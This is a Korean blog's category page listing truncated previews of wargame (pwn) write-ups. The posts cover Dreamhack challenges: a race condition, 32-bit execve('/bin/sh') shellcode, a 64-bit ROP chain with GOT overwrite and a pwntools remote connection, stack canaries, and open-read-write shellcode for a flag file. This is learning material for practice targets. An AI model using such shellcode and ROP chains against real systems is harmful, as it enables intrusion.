목록Wargame/pwn (10)
EYEN

https://dreamhack.io/wargame/challenges/1675 Race with me?빠르게 달려볼까요~?dreamhack.io파일은 chall과 flag가 주어진다. #1 코드flag파일을 읽어서 v5에 저장하는 듯 하다.이후에 input을 받고 input이 4면 v5를 할당해제하고 4보다 크면 invalid menu라고 출력한다.input이 3,1,2면3일 경우 전역변수 qword_4030이 3735928559(16진수로 deadbeef)면 flag를 출력하고 아니면 don't have permission을 출력.1일 경우 input을 받아 qword_4038에 저장2일 경우 pthread_create를 실행하는데 여기서 sub_14E3이 이렇게 된다. qword_4038이 3735..

이번에는 스택의 쉘코드1. /bin/sh와 같은 기능을 하는 코드2. 코드 설명xor eax, eax→eax=0 0push eaxpush [/bin/sh 아스키코드] 2. /bin/sh의 아스키 코드는 다음과 같은 형태로 들어감 bin//sh3. 그래서 push hs// push nib/ 이런 형태로 넣어야함4. ebx에 ‘/bin//sh’의 주소를 넣어주기위해 현재 ‘/’에 있는 esp를 이용해 ebx가 그 주소를 가리키게 한다.5. push eax를 통해 0을 한개 더 넣어준다.[이때 스택] nib/ebx=esphs// 0eax6. push edx, esp: edx를 esp로 바꿔줌 nib/ hs//edx=esp0eax7. push ebx: 0을 하나 더 넣어줌0 nib/ hs// 0e..
안녕하세요 64bit 알오피문제 발표를 맡은 이예은입니다.순서는 c코드의 흐름을 먼저 보고, 환경설정에 관련된 익스플로잇과 시스템 빈쉘을 스택에 주입하는 과정의 익스플로잇을 보겠습니다 먼저 c코드인데요. c는 무조건 main함수부터 시작하므로 main함수부터 보겠습니다. main함수에서 initialize를 실행하죠. 그리고 initialize함수에서는 signal이라는 함수에서 alarm_handler라는 함수를 인자로 갖는 것을 볼 수 있습니다. signal이라는 함수는 인터럽트의 여부로 함수의 분기를 결정하는 부분이라고 할 수 있는데요. 입력이 있으면 기존의 흐름에 따라 read,write를 실행하고 입력이 없으면 alarm_handler를 통해 puts라는 함수를 실행시키겠네요. 다음은 익스플로잇..

일단 카나리 관련 토픽을 찾는 게 힘들더라구요.그래서 드림핵 내용인 canary 생성과정에 대해 정리해봤습니다. 예제입니다#include int main() { char buf[8]; read(0, buf, 32); return 0;} 문자열 버퍼를 8만큼 할당해주고, 32만큼 입력받아서 buf에 저장하는 것을 볼 수 있습니다. 두 부분이 카나리에 관련된 부분입니다. main+8에서 fs:0x28에서 8바이트를 가져와서 rax에 넣고,main+17에서 rax의 값을 rbp-0x8에 8바이트만큼 넣는 것을 볼 수 있습니다. 그리고 이때 rax의 값은 첫바이트가 널바이트인 8바이트 데이터임을 알 수 있습니다. 나중에 main+50에서 rbp-0x8에 저장된 카나리를 rcx로 복사하고,main+54에..

목적쉘따기 = system(/bin/sh)인자가 /bin/sh 일 때, 실행되는 함수가 system인자 자리 하나, 실행되는 함수 자리 하나를 조작할 수 있어야함. 이때 puts 활용해서 ret2main 이때 pop rdi ret rsi ret으로 rdi를 0으로, rsi를 buf으로, ret을 read@got로 덮어서 read 한번 더 쓰고(/bin/sh)rdi를 1로, rsi를 write@got 주소로, ret을 read@got로 덮어서 read 한 번 더 쓰고(system)그리고 write@got 실행 rdi를 0으로 rsi를 read@got로 ret을 puts@plt으로 덮어서 한번 되돌아가그리고 메인 함수 주소를 적어 from pwn import * p=remote("host3.dreamha..

카나리 정적 분석카나리를 활성화하여 컴파일한 바이너리와 비활성화하여 컴파일한 바이너리를 비교하여 스택 카나리의 원리를 살펴보겠다. main 함수의 프롤로그 0x00000000000006b2 : mov rax,QWORD PTR fs:0x28 0x00000000000006bb : mov QWORD PTR [rbp-0x8],rax 0x00000000000006bf : xor eax,eaxfs:0x28의 데이터를 읽어서 rax에 저장한다.fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때 fs:0x28에 랜덤 값을 저장한다. 따라서 rax에는 리눅스가 생성한 랜덤 값이 저장된다. 생성한 랜덤값은 rbp-0x8에 저장된다 *리눅스는 fs..

1. shellcode부터 짜보겠다. 호출 규약이 fastcall이다. fastcall은 인자를 각각 ecx, edx에 넣어주어야한다.일단 /bin/shxor eax,eaxpush eaxpush 0x68732f2f push 0x6E69622fmov ebx, esp( execve 호출을 위한 첫번째 인자를 나타내는 ebx에 저장한다.)push eax( 두번째 인자를 구성하기 위한 null)push ebx( 두 번째 인자를 구성하기 위한 /bin/sh를 가리킴)mov ecx, esp(/bin/sh와 null을 가리키는 주소를 나타냄)mov edx, eax(null을 execve호출을 위한 세번째 인자를 나타내는 edx에 저장한다)mov al,0x8( execve에 해당하는 0XB를 eax에 넣는다)inc ..

2f 68 6f 6d 65 2f 73 68 65 6c 6c 5f 62 61 73 69 63 2f 66 6c 61 67 5f 6e 61 6d 65 5f 69 73 5f 6c 6f 6f 6f 6f 6f 6f 6e 67 이걸 리틀 엔디언으로 16개씩 쪼개서 넣을 것이다. 먼저 스택에 넣어주고push 0x00mov rax, 0x676e6f6f6f6f6f6fpush raxmov rax, 0x6c5f73695f656d61push raxmov rax, 0x6e5f67616c662f63push raxmov rax, 0x697361625f6c6c65push raxmov rax, 0x68732f656d6f682fpush rax ;open(path, fd, null)mov rdi, rsp ;stackxor rsi, rsix..